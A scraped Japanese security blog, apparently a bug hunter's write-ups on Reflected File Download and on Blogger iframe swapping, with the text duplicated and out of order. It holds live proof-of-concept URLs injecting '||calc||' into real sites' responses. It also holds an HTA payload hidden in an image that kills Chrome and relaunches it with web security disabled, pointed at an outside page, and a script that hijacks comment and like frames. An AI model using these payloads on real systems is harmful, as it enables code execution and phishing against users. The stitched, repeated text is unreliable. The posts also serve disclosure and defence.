https://chromium.googlecode.com/issues/attachment?aid=5279980000001&name=hta.hta&token=token&id=527998&mod_ts_token=token
この様に、Content-DispositionヘッダーがAttachmentになっている場合は自動でダウンロードされます。しかし、今回の場合はトークンが必要で、1人目しかリンクからダウンロードが出来ないため、あまり実用的ではありません。
画像を使ったRFDは、世界的に有名でセキュリティがしっかりしているサイトでは見つかりません。これはそのようなサイトが、そもそもユーザーからアップロードされたコンテンツを信頼されるドメインにホストしない為です。サイトと同じドメイン上にユーザーからアップロードされたコンテンツをホストすると、IEのbehaviorが使えるようになったりもするので、出来るだけSandboxドメインにホストするようにしましょう。
対策
RFDの対策として、ユーザーの入力をエスケープではなくエンコードすることや、拡張子の変更や追加をエラーにするなどの対策もありますが、ユーザーの入力が反映されるファイルには、Content-Dispositionヘッダーを追加しFilenameを無害なものに指定してください。こうすることで、どんな値が入ろうとも拡張子が変わらない為、RFDに脆弱にはなりません。
まとめ
今回PoCは書かなかったものの、RFDを使えば、攻撃者はウィルスやランサムウェアをPCにインストールすることも出来ます。また攻撃者はユーザーが信頼するサイトの中で1つでも脆弱なものを見つければ、ユーザーのPCを乗っ取れるため、とても理に適った脆弱性です。しかし、そもそもリンクをクリックしてダウンロードしたファイルを開くか？とRFDを脆弱性と認めないところもあります。これに関してはバグハンターもCSIRTもある程度ITリテラシーがある為わかりません。実際にこの脆弱性が悪用される日が来れば、答えが出るのかもしれませんね。
ではでは。
CSP 2015がかっこよ過ぎたのでパクりましたｗ
Reflected File Download（以後RFD）はBlack Hat Europe 2014で発表された比較的新しい脆弱性です。今年になりRFD Cheat Sheetなる記事も書かれました。実は僕も今年の後半はRFDばかり見ていました。
概要
RFDはその名の通り3つの要素がからなります。
1. Reflected
ユーザーの入力した値がレスポンスに反映される。
2. File
URLに任意の文字列を追加でき、尚且つ正常にロードされる。
3. Download
ダウンロードが可能であり、上記2つの要素がダウンロードしたファイルに反映される。
例
ユーザーが検索バーに文字を入れた際に、JSONを使い動的に候補を表示するサイトがあるとします。
リクエスト
https://www.example.com/search?q=user_input
レスポンス
{"q":"user_input","result":"Not Found"}
ここに以下の様なリクエストを送ります。
リクエスト
https://www.example.com/search/setup.bat?q="||calc||
レスポンス
{"q":"\"||calc||","result":"Not Found"}
サーバーがリクエストに対して正常にレスポンスを返す場合、RFDに脆弱になります。JSONのレスポンスにContent-DispositionヘッダーのAttachmentが指定されている場合、上記リクエストのリンクをクリックするとsetup.batファイルがダウンロードされます。もちろんsetup.batファイルにはレスポンスが入っている訳ですが、Windowsコマンドで「||」は前のコマンドが失敗したら次を実行するという意味なので、以下のように解釈されます。
「{"q":"\"」失敗したら次を実行
「calc」失敗したら次を実行
「","result":"Not Found"}」
1行目は正しいコマンドではない為失敗し、「calc」が実行され、電卓が起動します。バイナリは苦手だけど、1度でいいから脆弱性を使って電卓起動してみたい！という方には最高の脆弱性ですねｗもちろん拡張子はbat以外にも変えられるので、拡張子の数だけ手法があります。
戦歴
以下のサイトで実際にRFDを見つけました。
| サイト | 種類 | 評価 |
| JS (Download) | Out of Scope | |
| Yammer (Microsoft) | JS (Download) | Rewarded $500 |
| Zendesk | JS (Download&Self-RFD) | Rewarded $50 |
| Mail.Ru | JS (Download) | Rewarded $150 |
| Line | Image (Download) | Out of Scope |
| Ubiquiti Networks | Image (Download) | N/A |
Downloadの意味は、RFDリンクにダウンロード属性が必要という意味です。つまりChromeもしくはOperaでのみ動きます（Safariは試してないので分かりません）。またJSはJSONやJSONPも含めています。上記以外にも多々報告していますが、今日は控えます。
さて、報奨金を貰えなかったところは修正されていないので、実際の例を見ていきましょう。
こちらでIDがそのままエラーメッセージに反映されているので、ダウンロード属性を付けてあげるとbatファイルがダウンロードされて、それを実行すると電卓が起動します。
PoC
https://clients6.google.com/rpc/plusi/setup.bat?method=plusi.x&id=%22||calc||
実はエラーの場合、普通はRFDができません。例えばこちらのように、HTTPステータスコードがエラーコードの場合、ダウンロード属性を付けてもファイルが正しく保存されません。
PoC
http://cybozushiki.cybozu.co.jp/mt/mt-data-api.cgi/v1/sites/1/entries.bat?status=Publish&offset=%22||calc||
Googleの場合、エラーの際もHTTPステータスコードが200(OK)だった為、RFDが可能でした。当たり前ですが、エラーの場合はエラーコードを返すようにしましょう。
Line
RFDはJSONに依存する問題ではありません。ユーザーの入力が反映されるファイルの拡張子が変更でき、尚且つダウンロードできればいいのです。どんなサイトにもユーザーアイコンがある為、画像に注目しました。
Lineもこちらのようにユーザー画像の拡張子が変更できました。また、Lineはアップロードされた画像のソースにあるコメントをそのまま反映させている為、画像のソースに任意のコードを埋め込むことができました。しかし脆弱性報奨金制度がスマホ用だったため、HTMLとしてダウンロードさせて、ログイン情報を入力させるようなフィッシングの類で報告しました。もちろんHTMLを開いた時点でJSは動くので、SDカード情報は盗めるんだと思います。Androidの場合Operaで動きます。
PoC
http://dl.profile.line.naver.jp/0m038b3eeb7251266324a516ce98d0e1a0af8c48ec8dc3.html
実際にLineに報告したリンクはこちら。パスワードは"Line"です。
RFDで報告したにも関わらず、拡張子を変えてもcontent-typeが正しく指定されている為スクリプトが実行されないので、古いブラウザやプラットフォームに起因する脆弱性となりました(WTF)。また危険なファイルを実行する場合は、ブラウザやOSから警告が出るから大丈夫とのことでした。content-typeの話は論外で、サイトの脆弱性をブラウザとOSの警告に委ねるのはおかしいのでは？との返信を出したものの放置プレイｗいや～こんな所で愚痴ってすみませんｗ次行きます。
Ubiquiti Networks
さてLineの場合はHTMLでしたが、Windowsが標的で画像を使ったRFDがある場合はhtaが使えます。というのも、画像にコマンドを埋め込んでも、画像ソースの改行などでうまくいかないためです。
PoC
http://community.ubnt.com/t5/image/serverpage/image-id/65455i01F8F8FB138903DD/setup.hta
（htaファイルを実行するとChromeが強制終了され、脆弱なChromeが立ち上がります。アラートを確認したら、脆弱なChromeは閉じて下さい）
画像内に以下のスクリプトが埋め込まれています。
<script>1行目でShellオブジェクトをつくり、2行目でChromeを強制終了します。強制終了するのに少し時間が必要な為、一秒たってから3行目でSOPとPopup Blockerを無効にしたChromeを立ち上げ、攻撃サイトを開きます。上手く行けば、Lineのサイトでアラートが出ます（根に持つタイプ）。もちろんChromeからは何の警告もありません。
var sh=new ActiveXObject("WScript.Shell")
sh.run('taskkill /f /im "chrome.exe"', 0, false)
setTimeout(function(){sh.run("chrome.exe --disable-web-security --disable-popup-blocking shhnjk.web.fc2.com/rfd.html")},1000)
</script>
Ubiquiti Networksの見解としては「別に細工した画像ファイルをうちのサーバーに上げなくても、攻撃者のサーバーにある実行ファイルをリンクすればいいじゃん」とのことでした。もう愚痴りませんｗ
さて、折角なのでダウンロード属性なしのものも紹介します。こちらにアップロードされているhta.pngのダウンロードリンクをコピーしnameパラメータをhta.pngからhta.htaに変えてリンクにアクセスして見てください。以下の様な感じ。
https://chromium.googlecode.com/issues/attachment?aid=5279980000001&name=hta.hta&token=token&id=527998&mod_ts_token=token
この様に、Content-DispositionヘッダーがAttachmentになっている場合は自動でダウンロードされます。しかし、今回の場合はトークンが必要で、1人目しかリンクからダウンロードが出来ないため、あまり実用的ではありません。
画像を使ったRFDは、世界的に有名でセキュリティがしっかりしているサイトでは見つかりません。これはそのようなサイトが、そもそもユーザーからアップロードされたコンテンツを信頼されるドメインにホストしない為です。サイトと同じドメイン上にユーザーからアップロードされたコンテンツをホストすると、IEのbehaviorが使えるようになったりもするので、出来るだけSandboxドメインにホストするようにしましょう。
対策
RFDの対策として、ユーザーの入力をエスケープではなくエンコードすることや、拡張子の変更や追加をエラーにするなどの対策もありますが、ユーザーの入力が反映されるファイルには、Content-Dispositionヘッダーを追加しFilenameを無害なものに指定してください。こうすることで、どんな値が入ろうとも拡張子が変わらない為、RFDに脆弱にはなりません。
まとめ
今回PoCは書かなかったものの、RFDを使えば、攻撃者はウィルスやランサムウェアをPCにインストールすることも出来ます。また攻撃者はユーザーが信頼するサイトの中で1つでも脆弱なものを見つければ、ユーザーのPCを乗っ取れるため、とても理に適った脆弱性です。しかし、そもそもリンクをクリックしてダウンロードしたファイルを開くか？とRFDを脆弱性と認めないところもあります。これに関してはバグハンターもCSIRTもある程度ITリテラシーがある為わかりません。実際にこの脆弱性が悪用される日が来れば、答えが出るのかもしれませんね。
ではでは。
2015年12月17日木曜日
Bloggerの脆弱性か分からなかった話
この記事は「脆弱性"&'<<>\ Advent Calendar 2015」17日目の記事です。
本ブログでも使わせて頂いているBloggerですが、Bloggerやその他殆どのブログではスクリプトが許可されている為、スクリプトを使って何をしようとも運営側はスコープ外として脆弱性とは認めてくれません。その為スクリプトを使って運営側が嫌がることをしてやろうと考えましたｗ
色々見ているとBloggerのコメントやいいねがiframeによりロードされていることがわかりました。しかもURLは以下のように単純でした。
コメント
https://www.blogger.com/comment-iframe.g?blogID=Any_Blog_ID&postID=Any_Post_ID
いいね
https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=Any_Blog_URL
その為スクリプトを使えば、いいねボタンやコメント欄を他のブログのものに変更することができます。
PoC
本ブログでも使わせて頂いているBloggerですが、Bloggerやその他殆どのブログではスクリプトが許可されている為、スクリプトを使って何をしようとも運営側はスコープ外として脆弱性とは認めてくれません。その為スクリプトを使って運営側が嫌がることをしてやろうと考えましたｗ
色々見ているとBloggerのコメントやいいねがiframeによりロードされていることがわかりました。しかもURLは以下のように単純でした。
コメント
https://www.blogger.com/comment-iframe.g?blogID=Any_Blog_ID&postID=Any_Post_ID
いいね
https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=Any_Blog_URL
その為スクリプトを使えば、いいねボタンやコメント欄を他のブログのものに変更することができます。
PoC
http://shhnjktest.blogspot.com/2015/11/test.html
以下がスクリプト。
以下がスクリプト。
<script>window.onload=function(){
frames["comment-editor"].location.replace("https://www.blogger.com/comment-iframe.g?blogID=3133629339100716711&postID=4516647146558699181");
document.getElementsByTagName("iframe")[1].src="https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=http%3A%2F%2Fshhnjk.blogspot.com%2F2015%2F10%2FHow-to-use-XSS.html"
}</script>
いいねボタンとコメント欄がリロードしたのが分かるかと思います。上記の投稿にコメントやいいねをすると、今更聞けないXSSの使い方に反映されます。もちろんユーザーにコメントして貰わないと攻撃が成功しませんが、XSS Challengeを開催したらどうでしょう？
例（これは本物のXSS Challengeです）
https://www.davidsopas.com/win-50-amazon-gift-card-with-a-xss-challenge/
例（これは本物のXSS Challengeです）
https://www.davidsopas.com/win-50-amazon-gift-card-with-a-xss-challenge/
50$と書くだけで15件コメントが来てますｗということでGoogleに報告したところ、どう修正すればいいのかわからないので、考え中とのこと（修正しないかも）。もちろん公開の許可は貰いました。
対策
確かにブログでスクリプトを使えることは良いことなのかもしれませんが、ブログを読みたいユーザーがいいねボタンやコメントなど、ブログ記事以外のものも信頼できないのは困ります。なので、出来ればSandboxドメインを作り、iframeでブログ記事を表示するようにすればいいんじゃないでしょうか。これにより、親フレームのコンテンツは変更出来なくなります。更に親フレームのリダイレクトを防ぎたい場合は、iframeにsandbox属性を付けることで、スクリプトはいいけど親フレームはリダイレクトさせないなど詳細に権限を与えられます。唯一問題なのはCookie Bombです。これはSandboxドメインでスクリプトの実行が可能な為、Sandboxドメイン全部が見れなくなってしまいます。この問題はサイトというよりCookieそのものの問題なのでどうしようもなさそうです。
ということで、ブログにコメントやいいねをする際はくれぐれも気をつけましょうｗ
ではでは。
ということで、ブログにコメントやいいねをする際はくれぐれも気をつけましょうｗ
ではでは。
登録:
投稿 (Atom)